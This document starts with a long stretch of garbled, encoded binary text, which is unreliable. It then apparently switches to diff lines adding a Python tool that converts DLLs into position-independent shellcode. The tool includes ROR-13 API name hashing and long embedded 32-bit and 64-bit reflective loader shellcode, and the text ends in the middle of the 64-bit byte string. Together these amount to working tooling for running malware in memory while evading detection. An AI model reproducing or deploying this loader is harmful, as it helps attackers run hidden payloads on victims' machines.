z1m=ld=v)N7KfL)}Jw+F~-$*ANtk?@QHs0f8(QmX3ee5zaL{-Ts>Z83s!Dq=N}`T!MHT&vYQT zNeFL3*h=m~sp>&Co*Qv!p$a^`WL_NCkZ&&1E#!fXxuk;!uEiC3%SK%Ef))x-H+0D+ z-$ZPlUvX?f4Ij0jGM+o~JqhVj2%%&-UqVZAx#Sq>BNuc~;d&(vW{PRmX^5PnYgN14 zO#WX`yBjvX+tGJelkqOmVOXiD!Kbl2{EY;0z5{({FAqLOV*Q&Y$qI2_JP&n6-@=r_ zP1Cpb5(^agzu8M1t}0IFLq-bkfHX)@muwxH#JQROmc*LGyj>^Qq4)2Fy%w_lpGB<`IsBg6jDqV zTgUnT_&A@LjzOHJsg?Znrtsy6Lp?4aP97Om12tsvAwZb^Su?vKw5#jLb(zr8OeGcJqH;@oWTjedm85 zCY*=K{7=Qj@67Cq4ZZx@Z+E9I?`^vD{nxiAFn6^=;q9izryF2t-=5gEWGH>T-2MIh zll;^CGjV6uKgpBa>sJx@*T3e?lyJ%RPjXi?|4a`U^&7l8`B%g39mLdudHbl9@V^=V z-fG5OCX(N=9*}!` zOtWGWKM*eXZulZp8hJ39@Np@6F$k9uk`eWqfzPE)}1NZq8Nynk{Io+ zc2l%Bwl}u*MB={wruJ&LPX1NOw*C{_w&hu?^HaNfOZKVW?bM$B_0y1(w(aZhYhVAM zkJ?@0c|m7#b2de9>!?qZi=jKA8HSi1DasAD24Cx+#(zpe%wy^k*CSxoaw|l^-pGmGpSdk5G&WBHL zkkVU$`-gP(q=PdB%Fcy$y)DOTY23oZKDBj{0|zR^y*btiM{Qbe9^otaaR#iA)SJ9qoHfQUxPtETE8jXB^n_U0wk2v_L z-)kai75t3`=!6x%xyx96b5GQ4@D1MU$jM&@sHgRup2aZn4KxwaYWIzZl+J=R&B(5eX&(2ZLAk|WI8OOfi|vk(3P$sR zs>TgNe&`TxblOaIqiV-S8jkz-IAXfrzD+s& zr!-yPOP#^+r5`LR=qtz+3u%PD7)x{93gp;{^sbeuaZW^yzfj~SgrBb*j96Ub5j96k zb9x@djxA1EyYzeu<$t7<2F;}@Wm%WR2~GbiG*B*-fkHy#;(f@}uuzz37J44?ZpYh=8 zHLE{LubfR;U)M12RzezgspoY(qhK8y#JDWG(V6Uypc!zR(ZY?+MqfeT1#nx?!VO2f zn_c6YasL|Q&XlV2Un^8}UaKHPK|fthm&k4-zYB*>>%VI9L(a3n&y!^2E_6 z!;+iITd6X*#7B8>f}bME$esMr8?*z&EB0twFqiZ;dOO5mT z2l3UPXA&@f7zUk>VC<&83U)haIcP5^FF!TkyJ$dk$Nd#)50&WdEWY?wSBg6&b{w6L za*Q)Ltm9IxWz}?&z%dR7YpV5Tb-uIOV6xKWGh!TWR??{l$GB{h#gvA#Ep}sSR@OM2 zZ87Q{#^%yso1v6)#@IHAJb;@(!%_;eXaYn^3a00?`WZ~HGWxj0d4Gi@s}et~$oKh1 zf3@s9crWak(o{4((C8$8ktCzh zb~R2@21{kd7{X6Ua~^7`^u}pU-0BN1b%@E3TFIZY3$7?P85|;yk3eQaOp=W5o}&#a zSqXqYN7zq;2i4G)Agkv($Fqg~G(7JlcfI)d&==o1@pz&eyfWy7s`8qP+{h2q#V-Gi zABryk@lgaC3AI2PThf3u_GJTUzCRjBaZ&U(fwZxViTb?tOX+JdONP`saau--++i(C-1I zji`AZsDIA7MfjJ0cU;|mmfYkxqY)34B?BnOOYza~0-Io_7- zFCypf-9OL^_tTO-TZRua3iq3VLqLC(&YB5-pN@z5uhThVW2)mI*K)Y(hvdIZYwo^P z%CDTCd+rtP{5dY+7o5$ZW|Aj9% zcW;@0Z+gH2mt3D~TIgx@Yt6&AjDP|)n8^8g=!p#^yhlXYnCPWeU|$?;XLpQK#M?+`Q!Uv zK>P~1P9gb@;ux#RkX~&mqd4jJT)uYUcbw*UMTF9I74{6waROar-ajc=56G@}(Okd@ znhu%+dJ(h+wB%Rtpy?nRs1#HH$^b=!27o#fA?{F6F313?1s2=nPXaVRI(00&%(C47vK>oid*kDi|=njw>G#NAS#L4lw|P%fwxWC2YEJpy_bv>vn{bQ<(C$QR|J3l&+9`Di^J#jVHuq8{UE zeRmLE5Kxatd+VP;_ObS>C%@;Qvm+q7irjJ9kv|zg2S2ffRpJz-IJd|T-s;@4tn?^C zsT~iT6k`5C?pQ*U;UFYE%)wZxBHeDp0}0#*JFDa;Pw{?*2}YdrEwl3zz>JMZ%gag2 z3JVq6&e;F5j>f|Z{5b+T#Lje(NY533Ps2PC$7Ln&BeT+yMixf?kod!kK_JSz3f|@cP&E;$+enzX?97E z6Wn&cq$i27y-HN3jYrEq;&zdhAh)cP zY`sk!Z$}CS3Z3sXh)QJaBDEpjLU0nBRT7t!l8beUA{|OiG2?k47RK%ACcA_COshqD zDO{F=#W@8|V!miaD4z)@-cgbCpi>m3G%_ulVzcv>n#+6r{oF22qSF&YN$i0Zl0tTb zBx#l!lig|&5B=D2eB6Qj>-mUqJ*VN6o}@a`1!E>rRtido#}T?v!5a@{S)A|27}MW_ zp9Uuxds^f~oTo>=SGw?G410iDnT!4oa9#6fP1t^J&oc_m<1KHbJxS3O6pqr68aa(Z z{Y1*r`Taunm~oU1s_uXW5#RU-b>B-D)DVhEBN|>Mr<|az*ySy3wwI? zl9hw(PnM~%E|l#pQK4=rxiMaeaN?Ka#{A2^C>+i4Z{#9>G~XBZVgEWr%ktJUU%X|Z zY0Z#3Laa|H2G=~h+MC6$6l;z~+5eQ6B8ryQp2Rj}D^$576{)Y0sU!Lbk-a>Nzfh|IN=Id0s7?uQ8|LE+Sot z625tZ{*xsCYvF(IlG97NvoDvNS#q0*%*AYs|E|S6#3*b|j5>115j875GXBW5TPV{$ zK6L!#uekqqmmJb1vVY5}`pZj1r~b?9-%9SkHITlv3=h0kRGP+5FjrZuwu$(4sIHk* zTQ^zcI4LOYXLzib{V5&2&>5A}Z_ z@&AG-{(sUiFh&l~Q1JZ^9Q?vvdvOI~ye;wnXS!RuH1KbL|Gy%+!sLAxnXjHF+XSjY z#h4zfOB#cdJjL|LTv?*SX-G_Du5Lzo(tI5^9?ovp*Wn}JlZwqoONFyi^42U4Cnih9 zCQSQV#9drwttvLsliqN^<(e+V-7;;F^H%e}Q3E$mK(0U)E3s#9#W&bNWWONcie-Y& zf$Y)y7>fp7oQ0JQ=o|Q1wF>u@K}Vlu>|PLsB^o@9v8nZ#Im1sa=%p;i?#_nnQM~8t zIs6X8uk#1I&+B!>^9$}f{lW0I3*7Sq(UG$p5GLLnF=6L;JFoymH{cK*qhAo38FT>A zoQ&pjF`#HrUl7e@)F3{WRlprYXXZRXV7dsG;L%r!hs182SS>x0YpTH#t-|PN zbaZu2t3^=SYsfOz7|m)knc9JRhj{aceW1G9lvG9=MB0Jndb7hgP(8FUp7^1Eol5-B zW_gMq+E_RQj~^=Q4NS|*xE`;~Wx8jp~$ zkWC>&LlZ;Chgw7L41Fu~`%qKZ-C@ha)`sl~I~Mk3*soz%!+gVgh7S$T2p=6@5^fBy z4u2#3o$&492g8qspA7#p{Ks&wi1diMh=(FxjCeOR8dV-OJLZWL2v^Bae`b_i_G4IFhkNGC%x0p7us@OrX z!Lf0%Gh$zeeKq!-*uAl*WBbH~$9*5yJKh>!8-H*7L-EVwSI4i7-x&XX{Lc8j@dx8S zi$5KIHvU5Vuki}4kG8$`7VQA-5N(JyPMfA3tu<<^wRdS3Y1eDt)qbo!tNl@{NEn!q zoKT!lov=UQN!@lGQ{$`&^w&ufpo!BA(-dkdHIHhZ*DTkp*1WITr5PL&6>>*NdC1)% z8$u3*oDBIP`>TeVao9K z;lbgP!k-9V9KJDpNBGEyqKJ}+mm=0iyc2OT;!1>1WXH%`A~liek>!ySA}2>4i#!`y z9W^WJ<)}8%Innc?H%1?gz8W1BlL6f*V!dL!#Ky;7jzdP#SyKT+HTP)(LZ^kQ!ivN0 z4cA4jgLd~t4UQfi-8IG(qmHeH7FpclxXp2G;`_!2#6J-~SNoE7tL{_XPdb*!*h$3U zrg<&o3`%qfWx5i=LdS$Y6S^pLY3Q=hm7(n-`b8u}lt(xtCPzGpJnxJ6F5;I6MP$3k z!I5#1Z$@s8JQSsfz9m{4Jt8_Ux+uCTx;}bN^rGlv(dVMwV%o$+#Egn5i804aj#&`1 zGUm0IwK1Q?d=+yx=6p=YSaodw*uk+mvA4z+#~NZEj(sY2LG0q#eX)mQkH>x=dpY)& zxS?@zacOadapU5q#GQ)!F3uQ#cl?a_WvKOi@h4EG0RW*N1Nn|1|tq_?htU!mox`Mpz@Jp8xc1qP9Iktw>@rr z{M7hI;#b9cqHULGYqjrdixR8}-z9|TQgn5?yL1ohp3<$-ZPH!Tp};orUTLMqOVd@; zQ!_{tqKVfeYqB-@8og$`#;SQtGe`5LX20gvkdhF4$m)=_Azy^#qTZup2gGUOv~jk$ zd*WV?+Z%TzE-*eUK0UrB{$=#FkK>QVchL^iCTP>ORoeTtPihxyU)Ao@exdzddr^B? z+ackWgqVcXgv^AT1XF?|;jx6L6P`<0n($u22MJ#$oKN^E;kSgYx<0xDU8XKam#=f` zrt22zR_Ipi-qf9;eAnZw3&0P3FiaDz(PE^!OY@*+u4aX1t>#0`Ud;i`&l>lT4(N-S zA)`aeLZ*j2jM`WivNhy`kWWK4gdPh0Ec8fNhwzl}JHqFOH-vv4-Zdf)?e>L;%Mt#O zFGj73{vw*i_K3B`_KkPMFO5GC-%ERQ!q9{j2?pH+-4oE@R^3Os|EHbvkBzggQa}5ljyWl(m$>?j3Hc`wh3t z{hs@jJLFEeze>KH{DjGyn?2%n!aKd*HY=>f%Cy;>?Xy3zzqfz16?*|I@~*u;wZ*^o z5p**g_R-DEMfOgyGQUIIEe?po;+QxtUfytRRoo)YG$ymA)!bz|%s9OH4({iVyr1GO z{>J;OcfI|bz1Kcw$LtH1q%`i+_SC~zkw2u~Nd3(}#|b>AfWwvKB>4i}N%ztR>9eq5 zh(*{omV^m+vc2pOTVQ`@*YdD<99c-pqjv8k72G& z>x%Ahj<_ZFS$OxmiPsY8iyEp{uk?!yvtm zMOlo+Sv_lG?W}|4ST`^79^T9Qct0QDCCvX}K7tM~#>e>tpX5_~n$PfAKF8C-3r#egV@K`|^w#Hbh(<6=TgB8Agp22*KH%)^Ogv54tZ5zClR ztKhgM*2KC9$e;|EkcpT&6E!gtH}z->jYb&97?U;`(`1@W*0h@(%+_fNrpr{kWpBk> z^{QSC_Fwk`HfTdOY$LYLMs4ha)lXmHM>Q~_M$rbx;ekmtg~>OgX3-4i)q*OkMKqs^ zT1HD;g(YfgO|7ed4(gB&>xiz?Q61B9U9TH-Bj%;hjy7N_qnmV#Zqx0$L+5l}cj^MT z@76`#gLL=lel)3)9@N8nM33q*J+3G8q@DtUGkR9f>3O}N%X(2SfyrgPf>v79HNB?S zb-)QaAt&ra{LN+-pSSyrkam(IourEtNiXTg3>_w;WSmTrX)=qBSSCwknXF!g=Lo>9Q`i$kkSQi-UrTw%-hr!u67@Nifn+Ih}bQzr0(87W&4ANqttZ}1d zW>_<80dG0h$+}pP^|F3eV#Ame<7|>mvspIJ%4~@(vsG4O>nzB_ypG3sJ#XZK8=m3K zyoI;(9Pi{^;I$X5mcZ#K7@Y*4vtY9fE|>6A}2f1C5y6G_REqSmZNf9 zPReOHE9YUdrHz(UgGYiYjF}Nr^{P<`WmHBrs}|J`yLPHBRm9GsUzOA_h#Ch?(;#Uc z6fJ?ERnW7pg5ahO%+!My0ah}wVhcFQff4@?;rjQp8%gh@19T9c9YfZqun(F;+85F9 zSCIBKbYXwCMUnOfMwo*=QWMJ}_Z=+H3ap#;us$}x2I0doHo>OY44cFBTVxfs!m4bI z1$c-@c$CL^11H?!Y2L)MybV1x&kMX8*64#V24Raam|_Z+n1dk}VTTo%VGULY!3a^< zpaCXuV1XtWpbhEIBl+D(eIF7(h_sI(=~GDg91^~Wbgv-UYe;oSMr2gRWrHMW4QbgV zvl}~*yeyzS^vFIrAP41$9Fr4rO3q;KwjdW}MXtyyrdmLSR0KYcW5N*SV8%45tZKu~ zF0TrzTlHYl4X8mif?Q7^(=*8P0EB)wV9Ym> z@1P>Q;~VF)Yvyo8ilnlsLaIAeObw={QsvZQYAqG0Ua|3=uqde~X|$*wGD2oZ1z#15(=>JmJ;=rk z@(@4<(i`&*i-J#K+wi-Nq%kjhkf0HyXAb^agu(nhq`x8`7`hqv{IaG0)6f$z@QRM$ P?q+> r_bits%max_bits) | \ + (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) + +def HashFunctionName(name, module = None): + + function = name.encode('UTF-16LE') + b'\x00' + + if(module): + module = module.upper().encode('UTF-16LE') + b'\x00\x00' + + functionHash = 0 + + for b in function: + functionHash = ror(functionHash, 13, 32) + functionHash += b + + moduleHash = 0 + + for b in module: + moduleHash = ror(moduleHash, 13, 32) + moduleHash += b + + functionHash += moduleHash + + if functionHash > 0xFFFFFFFF: functionHash -= 0x100000000 + + else: + functionHash = 0 + + for b in function: + functionHash = ror(functionHash, 13, 32) + functionHash += b + + return functionHash + +def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None', flags=0): + + rdiShellcode32 = b"\x83\xEC\x48\x83\x64\x24\x18\x00\xB9\x4C\x77\x26\x07\x53\x55\x56\x57\x33\xF6\xE8\x22\x04\x00\x00\xB9\x49\xF7\x02\x78\x89\x44\x24\x1C\xE8\x14\x04\x00\x00\xB9\x58\xA4\x53\xE5\x89\x44\x24\x20\xE8\x06\x04\x00\x00\xB9\x10\xE1\x8A\xC3\x8B\xE8\xE8\xFA\x03\x00\x00\xB9\xAF\xB1\x5C\x94\x89\x44\x24\x2C\xE8\xEC\x03\x00\x00\xB9\x33\x00\x9E\x95\x89\x44\x24\x30\xE8\xDE\x03\x00\x00\x8B\xD8\x8B\x44\x24\x5C\x8B\x78\x3C\x03\xF8\x89\x7C\x24\x10\x81\x3F\x50\x45\x00\x00\x74\x07\x33\xC0\xE9\xB8\x03\x00\x00\xB8\x4C\x01\x00\x00\x66\x39\x47\x04\x75\xEE\xF6\x47\x38\x01\x75\xE8\x0F\xB7\x57\x06\x0F\xB7\x47\x14\x85\xD2\x74\x22\x8D\x4F\x24\x03\xC8\x83\x79\x04\x00\x8B\x01\x75\x05\x03\x47\x38\xEB\x03\x03\x41\x04\x3B\xC6\x0F\x47\xF0\x83\xC1\x28\x83\xEA\x01\x75\xE3\x8D\x44\x24\x34\x50\xFF\xD3\x8B\x44\x24\x38\x8B\x5F\x50\x8D\x50\xFF\x8D\x48\xFF\xF7\xD2\x48\x03\xCE\x03\xC3\x23\xCA\x23\xC2\x3B\xC1\x75\x97\x6A\x04\x68\x00\x30\x00\x00\x53\x6A\x00\xFF\xD5\x8B\x77\x54\x8B\xD8\x8B\x44\x24\x5C\x33\xC9\x89\x44\x24\x14\x8B\xD3\x33\xC0\x89\x5C\x24\x18\x40\x89\x44\x24\x24\x85\xF6\x74\x37\x8B\x6C\x24\x6C\x8B\x5C\x24\x14\x23\xE8\x4E\x85\xED\x74\x19\x8B\xC7\x2B\x44\x24\x5C\x3B\xC8\x73\x0F\x83\xF9\x3C\x72\x05\x83\xF9\x3E\x76\x05\xC6\x02\x00\xEB\x04\x8A\x03\x88\x02\x41\x43\x42\x85\xF6\x75\xD7\x8B\x5C\x24\x18\x0F\xB7\x47\x06\x0F\xB7\x4F\x14\x85\xC0\x74\x38\x83\xC7\x2C\x03\xCF\x8B\x7C\x24\x5C\x8B\x51\xF8\x48\x8B\x31\x03\xD3\x8B\x69\xFC\x03\xF7\x89\x44\x24\x5C\x85\xED\x74\x0F\x8A\x06\x88\x02\x42\x46\x83\xED\x01\x75\xF5\x8B\x44\x24\x5C\x83\xC1\x28\x85\xC0\x75\xD5\x8B\x7C\x24\x10\x8B\xB7\x80\x00\x00\x00\x03\xF3\x89\x74\x24\x14\x8B\x46\x0C\x85\xC0\x74\x7D\x03\xC3\x50\xFF\x54\x24\x20\x8B\x6E\x10\x8B\xF8\x8B\x06\x03\xEB\x03\xC3\x89\x44\x24\x5C\x83\x7D\x00\x00\x74\x4F\x8B\x74\x24\x20\x8B\x08\x85\xC9\x74\x1E\x79\x1C\x8B\x47\x3C\x0F\xB7\xC9\x8B\x44\x38\x78\x2B\x4C\x38\x10\x8B\x44\x38\x1C\x8D\x04\x88\x8B\x04\x38\x03\xC7\xEB\x0C\x8B\x45\x00\x83\xC0\x02\x03\xC3\x50\x57\xFF\xD6\x89\x45\x00\x83\xC5\x04\x8B\x44\x24\x5C\x83\xC0\x04\x89\x44\x24\x5C\x83\x7D\x00\x00\x75\xB9\x8B\x74\x24\x14\x8B\x46\x20\x83\xC6\x14\x89\x74\x24\x14\x85\xC0\x75\x87\x8B\x7C\x24\x10\x8B\xEB\x2B\x6F\x34\x83\xBF\xA4\x00\x00\x00\x00\x0F\x84\xAA\x00\x00\x00\x8B\x97\xA0\x00\x00\x00\x03\xD3\x89\x54\x24\x5C\x8D\x4A\x04\x8B\x01\x89\x4C\x24\x14\x85\xC0\x0F\x84\x8D\x00\x00\x00\x8B\x32\x8D\x78\xF8\x03\xF3\x8D\x42\x08\xD1\xEF\x89\x44\x24\x20\x74\x60\x6A\x02\x8B\xD8\x5A\x0F\xB7\x0B\x4F\x66\x8B\xC1\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x74\x06\x66\x83\xF8\x03\x75\x0B\x81\xE1\xFF\x0F\x00\x00\x01\x2C\x31\xEB\x27\x66\x3B\x44\x24\x24\x75\x11\x81\xE1\xFF\x0F\x00\x00\x8B\xC5\xC1\xE8\x10\x66\x01\x04\x31\xEB\x0F\x66\x3B\xC2\x75\x0A\x81\xE1\xFF\x0F\x00\x00\x66\x01\x2C\x31\x03\xDA\x85\xFF\x75\xB1\x8B\x5C\x24\x18\x8B\x54\x24\x5C\x8B\x4C\x24\x14\x03\x11\x89\x54\x24\x5C\x8D\x4A\x04\x8B\x01\x89\x4C\x24\x14\x85\xC0\x0F\x85\x77\xFF\xFF\xFF\x8B\x7C\x24\x10\x0F\xB7\x47\x06\x0F\xB7\x4F\x14\x85\xC0\x0F\x84\xB7\x00\x00\x00\x8B\x74\x24\x5C\x8D\x6F\x3C\x03\xE9\x48\x83\x7D\xEC\x00\x89\x44\x24\x24\x0F\x86\x94\x00\x00\x00\x8B\x4D\x00\x33\xD2\x42\x8B\xC1\xC1\xE8\x1D\x23\xC2\x8B\xD1\xC1\xEA\x1E\x83\xE2\x01\xC1\xE9\x1F\x85\xC0\x75\x18\x85\xD2\x75\x07\x6A\x08\x5E\x6A\x01\xEB\x05\x6A\x04\x5E\x6A\x02\x85\xC9\x58\x0F\x44\xF0\xEB\x2C\x85\xD2\x75\x17\x85\xC9\x75\x04\x6A\x10\xEB\x15\x85\xD2\x75\x0B\x85\xC9\x74\x18\xBE\x80\x00\x00\x00\xEB\x11\x85\xC9\x75\x05\x6A\x20\x5E\xEB\x08\x6A\x40\x85\xC9\x58\x0F\x45\xF0\x8B\x4D\x00\x8B\xC6\x0D\x00\x02\x00\x00\x81\xE1\x00\x00\x00\x04\x0F\x44\xC6\x8B\xF0\x8D\x44\x24\x28\x50\x8B\x45\xE8\x56\xFF\x75\xEC\x03\xC3\x50\xFF\x54\x24\x3C\x85\xC0\x0F\x84\xEC\xFC\xFF\xFF\x8B\x44\x24\x24\x83\xC5\x28\x85\xC0\x0F\x85\x52\xFF\xFF\xFF\x8B\x77\x28\x6A\x00\x6A\x00\x6A\xFF\x03\xF3\xFF\x54\x24\x3C\x33\xC0\x40\x50\x50\x53\xFF\xD6\x83\x7C\x24\x60\x00\x74\x7C\x83\x7F\x7C\x00\x74\x76\x8B\x4F\x78\x03\xCB\x8B\x41\x18\x85\xC0\x74\x6A\x83\x79\x14\x00\x74\x64\x8B\x69\x20\x8B\x79\x24\x03\xEB\x83\x64\x24\x5C\x00\x03\xFB\x85\xC0\x74\x51\x8B\x75\x00\x03\xF3\x33\xD2\x0F\xBE\x06\xC1\xCA\x0D\x03\xD0\x46\x80\x7E\xFF\x00\x75\xF1\x39\x54\x24\x60\x74\x16\x8B\x44\x24\x5C\x83\xC5\x04\x40\x83\xC7\x02\x89\x44\x24\x5C\x3B\x41\x18\x72\xD0\xEB\x1F\x0F\xB7\x17\x83\xFA\xFF\x74\x17\x8B\x41\x1C\xFF\x74\x24\x68\xFF\x74\x24\x68\x8D\x04\x90\x8B\x04\x18\x03\xC3\xFF\xD0\x59\x59\x8B\xC3\x5F\x5E\x5D\x5B\x83\xC4\x48\xC3\x83\xEC\x10\x64\xA1\x30\x00\x00\x00\x53\x55\x56\x8B\x40\x0C\x57\x89\x4C\x24\x18\x8B\x70\x0C\xE9\x8A\x00\x00\x00\x8B\x46\x30\x33\xC9\x8B\x5E\x2C\x8B\x36\x89\x44\x24\x14\x8B\x42\x3C\x8B\x6C\x10\x78\x89\x6C\x24\x10\x85\xED\x74\x6D\xC1\xEB\x10\x33\xFF\x85\xDB\x74\x1F\x8B\x6C\x24\x14\x8A\x04\x2F\xC1\xC9\x0D\x3C\x61\x0F\xBE\xC0\x7C\x03\x83\xC1\xE0\x03\xC8\x47\x3B\xFB\x72\xE9\x8B\x6C\x24\x10\x8B\x44\x2A\x20\x33\xDB\x8B\x7C\x2A\x18\x03\xC2\x89\x7C\x24\x14\x85\xFF\x74\x31\x8B\x28\x33\xFF\x03\xEA\x83\xC0\x04\x89\x44\x24\x1C\x0F\xBE\x45\x00\xC1\xCF\x0D\x03\xF8\x45\x80\x7D\xFF\x00\x75\xF0\x8D\x04\x0F\x3B\x44\x24\x18\x74\x20\x8B\x44\x24\x1C\x43\x3B\x5C\x24\x14\x72\xCF\x8B\x56\x18\x85\xD2\x0F\x85\x6B\xFF\xFF\xFF\x33\xC0\x5F\x5E\x5D\x5B\x83\xC4\x10\xC3\x8B\x74\x24\x10\x8B\x44\x16\x24\x8D\x04\x58\x0F\xB7\x0C\x10\x8B\x44\x16\x1C\x8D\x04\x88\x8B\x04\x10\x03\xC2\xEB\xDB" + rdiShellcode64 = b"\x48\x8B\xC4\x44\x89\x48\x20\x4C\x89\x40\x18\x89\x50\x10\x53\x55\x56\x57\x41\x54\x41\x55\x41\x56\x41\x57\x48\x83\xEC\x78\x83\x60\x08\x00\x48\x8B\xE9\xB9\x4C\x77\x26\x07\x44\x8B\xFA\x33\xDB\xE8\xA4\x04\x00\x00\xB9\x49\xF7\x02\x78\x4C\x8B\xE8\xE8\x97\x04\x00\x00\xB9\x58\xA4\x53\xE5\x48\x89\x44\x24\x20\xE8\x88\x04\x00\x00\xB9\x10\xE1\x8A\xC3\x48\x8B\xF0\xE8\x7B\x04\x00\x00\xB9\xAF\xB1\x5C\x94\x48\x89\x44\x24\x30\xE8\x6C\x04\x00\x00\xB9\x33\x00\x9E\x95\x48\x89\x44\x24\x28\x4C\x8B\xE0\xE8\x5A\x04\x00\x00\x48\x63\x7D\x3C\x4C\x8B\xD0\x48\x03\xFD\x81\x3F\x50\x45\x00\x00\x74\x07\x33\xC0\xE9\x2D\x04\x00\x00\xB8\x64\x86\x00\x00\x66\x39\x47\x04\x75\xEE\x41\xBE\x01\x00\x00\x00\x44\x84\x77\x38\x75\xE2\x0F\xB7\x47\x06\x0F\xB7\x4F\x14\x44\x8B\x4F\x38\x85\xC0\x74\x2C\x48\x8D\x57\x24\x44\x8B\xC0\x48\x03\xD1\x8B\x4A\x04\x85\xC9\x75\x07\x8B\x02\x49\x03\xC1\xEB\x04\x8B\x02\x03\xC1\x48\x3B\xC3\x48\x0F\x47\xD8\x48\x83\xC2\x28\x4D\x2B\xC6\x75\xDE\x48\x8D\x4C\x24\x38\x41\xFF\xD2\x44\x8B\x44\x24\x3C\x44\x8B\x4F\x50\x41\x8D\x40\xFF\xF7\xD0\x41\x8D\x50\xFF\x41\x03\xD1\x49\x8D\x48\xFF\x48\x23\xD0\x48\x03\xCB\x49\x8D\x40\xFF\x48\xF7\xD0\x48\x23\xC8\x48\x3B\xD1\x0F\x85\x6B\xFF\xFF\xFF\x33\xC9\x41\x8B\xD1\x41\xB8\x00\x30\x00\x00\x44\x8D\x49\x04\xFF\xD6\x44\x8B\x47\x54\x33\xD2\x48\x8B\xF0\x4C\x8B\xD5\x48\x8B\xC8\x44\x8D\x5A\x02\x4D\x85\xC0\x74\x3F\x44\x8B\x8C\x24\xE0\x00\x00\x00\x45\x23\xCE\x4D\x2B\xC6\x45\x85\xC9\x74\x19\x48\x8B\xC7\x48\x2B\xC5\x48\x3B\xD0\x73\x0E\x48\x8D\x42\xC4\x49\x3B\xC3\x76\x05\xC6\x01\x00\xEB\x05\x41\x8A\x02\x88\x01\x49\x03\xD6\x4D\x03\xD6\x49\x03\xCE\x4D\x85\xC0\x75\xCC\x44\x0F\xB7\x57\x06\x0F\xB7\x47\x14\x4D\x85\xD2\x74\x38\x48\x8D\x4F\x2C\x48\x03\xC8\x8B\x51\xF8\x4D\x2B\xD6\x44\x8B\x01\x48\x03\xD6\x44\x8B\x49\xFC\x4C\x03\xC5\x4D\x85\xC9\x74\x10\x41\x8A\x00\x4D\x03\xC6\x88\x02\x49\x03\xD6\x4D\x2B\xCE\x75\xF0\x48\x83\xC1\x28\x4D\x85\xD2\x75\xCF\x8B\x9F\x90\x00\x00\x00\x48\x03\xDE\x8B\x43\x0C\x85\xC0\x0F\x84\x8A\x00\x00\x00\x48\x8B\x6C\x24\x20\x8B\xC8\x48\x03\xCE\x41\xFF\xD5\x44\x8B\x3B\x4C\x8B\xE0\x44\x8B\x73\x10\x4C\x03\xFE\x4C\x03\xF6\xEB\x49\x49\x83\x3F\x00\x7D\x29\x49\x63\x44\x24\x3C\x41\x0F\xB7\x17\x42\x8B\x8C\x20\x88\x00\x00\x00\x42\x8B\x44\x21\x10\x42\x8B\x4C\x21\x1C\x48\x2B\xD0\x49\x03\xCC\x8B\x04\x91\x49\x03\xC4\xEB\x0F\x49\x8B\x16\x49\x8B\xCC\x48\x83\xC2\x02\x48\x03\xD6\xFF\xD5\x49\x89\x06\x49\x83\xC6\x08\x49\x83\xC7\x08\x49\x83\x3E\x00\x75\xB1\x8B\x43\x20\x48\x83\xC3\x14\x85\xC0\x75\x8C\x44\x8B\xBC\x24\xC8\x00\x00\x00\x44\x8D\x70\x01\x4C\x8B\x64\x24\x28\x4C\x8B\xCE\x41\xBD\x02\x00\x00\x00\x4C\x2B\x4F\x30\x83\xBF\xB4\x00\x00\x00\x00\x0F\x84\x95\x00\x00\x00\x8B\x97\xB0\x00\x00\x00\x48\x03\xD6\x8B\x42\x04\x85\xC0\x0F\x84\x81\x00\x00\x00\xBB\xFF\x0F\x00\x00\x44\x8B\x02\x4C\x8D\x5A\x08\x44\x8B\xD0\x4C\x03\xC6\x49\x83\xEA\x08\x49\xD1\xEA\x74\x59\x41\x0F\xB7\x0B\x4D\x2B\xD6\x0F\xB7\xC1\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x75\x09\x48\x23\xCB\x4E\x01\x0C\x01\xEB\x34\x66\x83\xF8\x03\x75\x09\x48\x23\xCB\x46\x01\x0C\x01\xEB\x25\x66\x41\x3B\xC6\x75\x11\x48\x23\xCB\x49\x8B\xC1\x48\xC1\xE8\x10\x66\x42\x01\x04\x01\xEB\x0E\x66\x41\x3B\xC5\x75\x08\x48\x23\xCB\x66\x46\x01\x0C\x01\x4D\x03\xDD\x4D\x85\xD2\x75\xA7\x8B\x42\x04\x48\x03\xD0\x8B\x42\x04\x85\xC0\x75\x84\x0F\xB7\x6F\x06\x0F\xB7\x47\x14\x48\x85\xED\x0F\x84\xCF\x00\x00\x00\x8B\x9C\x24\xC0\x00\x00\x00\x4C\x8D\x77\x3C\x4C\x8B\x6C\x24\x30\x4C\x03\xF0\x48\xFF\xCD\x41\x83\x7E\xEC\x00\x0F\x86\x9D\x00\x00\x00\x45\x8B\x06\x41\x8B\xD0\xC1\xEA\x1E\x41\x8B\xC0\x41\x8B\xC8\xC1\xE8\x1D\x83\xE2\x01\xC1\xE9\x1F\x83\xE0\x01\x75\x1E\x85\xD2\x75\x0B\xF7\xD9\x1B\xDB\x83\xE3\x07\xFF\xC3\xEB\x3E\xF7\xD9\xB8\x02\x00\x00\x00\x1B\xDB\x23\xD8\x03\xD8\xEB\x2F\x85\xD2\x75\x18\x85\xC9\x75\x05\x8D\x5A\x10\xEB\x22\x85\xD2\x75\x0B\x85\xC9\x74\x1A\xBB\x80\x00\x00\x00\xEB\x13\x85\xC9\x75\x05\x8D\x59\x20\xEB\x0A\x85\xC9\xB8\x40\x00\x00\x00\x0F\x45\xD8\x41\x8B\x4E\xE8\x4C\x8D\x8C\x24\xC0\x00\x00\x00\x41\x8B\x56\xEC\x8B\xC3\x0F\xBA\xE8\x09\x41\x81\xE0\x00\x00\x00\x04\x0F\x44\xC3\x48\x03\xCE\x44\x8B\xC0\x8B\xD8\x41\xFF\xD5\x85\xC0\x0F\x84\xA1\xFC\xFF\xFF\x49\x83\xC6\x28\x48\x85\xED\x0F\x85\x48\xFF\xFF\xFF\x44\x8D\x6D\x02\x8B\x5F\x28\x45\x33\xC0\x33\xD2\x48\x83\xC9\xFF\x48\x03\xDE\x41\xFF\xD4\xBD\x01\x00\x00\x00\x48\x8B\xCE\x44\x8B\xC5\x8B\xD5\xFF\xD3\x45\x85\xFF\x0F\x84\x97\x00\x00\x00\x83\xBF\x8C\x00\x00\x00\x00\x0F\x84\x8A\x00\x00\x00\x8B\x97\x88\x00\x00\x00\x48\x03\xD6\x44\x8B\x5A\x18\x45\x85\xDB\x74\x78\x83\x7A\x14\x00\x74\x72\x44\x8B\x52\x20\x33\xDB\x44\x8B\x4A\x24\x4C\x03\xD6\x4C\x03\xCE\x45\x85\xDB\x74\x5D\x45\x8B\x02\